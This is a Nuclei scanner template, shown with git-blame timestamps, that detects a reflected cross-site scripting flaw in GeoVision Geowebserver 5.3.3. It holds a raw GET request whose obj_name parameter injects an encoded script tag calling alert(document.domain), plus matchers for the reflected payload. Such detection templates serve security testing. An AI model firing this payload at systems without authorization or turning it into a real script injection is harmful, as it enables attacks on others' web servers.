2021-08-17 22:20:39 +00:00
|
|
|
id: geowebserver-xss
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: GeoVision Geowebserver 5.3.3 - XSS
|
|
|
|
author: madrobot
|
|
|
|
severity: medium
|
2021-10-14 13:32:15 +00:00
|
|
|
reference: https://packetstormsecurity.com/files/163860/geovisiongws533-lfixssxsrfexec.txt
|
2021-08-17 22:20:39 +00:00
|
|
|
tags: geowebserver,xss
|
|
|
|
|
|
|
|
requests:
|
|
|
|
- raw:
|
2021-08-18 09:18:34 +00:00
|
|
|
- |
|
2021-08-18 09:21:23 +00:00
|
|
|
GET /Visitor/bin/WebStrings.srf?file=&obj_name=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
|
2021-08-17 22:20:39 +00:00
|
|
|
Host: {{Hostname}}
|
|
|
|
Accept: */*
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
|
|
|
|
- type: regex
|
|
|
|
regex:
|
2021-08-18 09:21:23 +00:00
|
|
|
- "</script><script>alert(document.domain)</script>"
|
2021-08-17 22:20:39 +00:00
|
|
|
part: body
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2021-08-18 09:21:23 +00:00
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- text/html
|